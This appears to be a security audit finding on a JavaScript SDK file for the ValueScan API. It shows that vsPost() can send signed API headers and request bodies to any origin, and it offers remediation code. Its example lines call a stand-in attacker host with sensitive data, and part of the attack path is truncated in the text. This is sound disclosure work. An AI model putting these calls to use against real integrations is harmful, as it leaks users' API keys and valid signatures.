T09 · Insecure Skill Coding Practices
- Location
script/sdk/vs_api_sign.js:75- Finding
API credentials can be forwarded to an attacker-controlled origin
- Content
View full analysis
Vulnerability Details
File Location:
script/sdk/vs_api_sign.js:75-83
Vulnerability Type: Missing destination validation before attaching authentication headers
Risk Level: MediumVulnerable Code
javascript const rawBody = typeof data === 'object' ? JSON.stringify(data) : data; const fullUrl = new URL(path, BASE_URL).href; const headers = buildSignHeader(rawBody); const controller = new AbortController(); const timeoutId = setTimeout(() => controller.abort(), timeout); try { const response = await fetch(fullUrl, { method: 'POST', headers: headers,Technical Analysis
The exported
vsPost(path, data, timeout)function treatspathas though it were a relative ValueScan API path, but it does not enforce that constraint. JavaScript'snew URL(path, BASE_URL)accepts absolute and scheme-relative URLs. For example, either of the following values replaces the expectedhttps://api.valuescan.ioorigin:javascript await vsPost('https://attacker.example/collect', sensitiveData); await vsPost('//attacker.example/collect', sensitiveData);Authentication headers are generated after resolving the URL but without checking its origin. The subsequent request therefore sends the following information to the resulting destination:
X-API-KEYX-TIMESTAMPX-SIGN- The complete request body
The ValueScan Secret Key is used locally to produce the HMAC and is not directly transmitted. Nevertheless, an attacker can obtain the API key and a valid time-limited signature for the captured request body. The SDK documentation states that the timestamp is accepted for five minutes, creating a potential replay window.
This behavior exceeds minimum privilege because ValueScan credentials should only be attached to requests whose destination has been validated as the intended ValueScan API origin.
Attack Path
- An attacker ...[truncated 1307 chars]
- Remediation
View remediation
Remediation Suggestions
Enforce relative paths, reject scheme-relative paths, and verify the resolved origin before loading credentials or generating authentication headers:
javascript const BASE_URL = 'https://api.valuescan.io'; async function vsPost(apiPath, data, timeout = 10000) { if ( typeof apiPath !== 'string' || !apiPath.startsWith('/') || apiPath.startsWith('//') ) { throw new Error('Invalid ValueScan API path'); } const url = new URL(apiPath, BASE_URL); if (url.origin !== BASE_URL) { throw new Error('Untrusted API origin'); } if (!url.pathname.startsWith('/api/open/v1/')) { throw new Error('API path is outside the permitted namespace'); } const rawBody = data !== null && typeof data === 'object' ? JSON.stringify(data) : data; const headers = buildSignHeader(rawBody); // Send the validated request. }Apply the following additional hardening:
- Maintain an allowlist of documented ValueScan endpoint paths rather than accepting arbitrary paths.
- Validate the destination before calling
buildSignHeader()so credentials are not loaded unnecessarily. - Ensure redirects cannot forward authentication headers to another origin. Prefer disabling redirects or validating every redirect destination.
- Validate that
datais a JSON-compatible object or string before signing it. - Add tests covering absolute URLs, scheme-relative URLs, alternate ports, malformed paths, and redirect behavior.
- Document that credential-bearing headers must never be sent to any origin other than
https://api.valuescan.io.
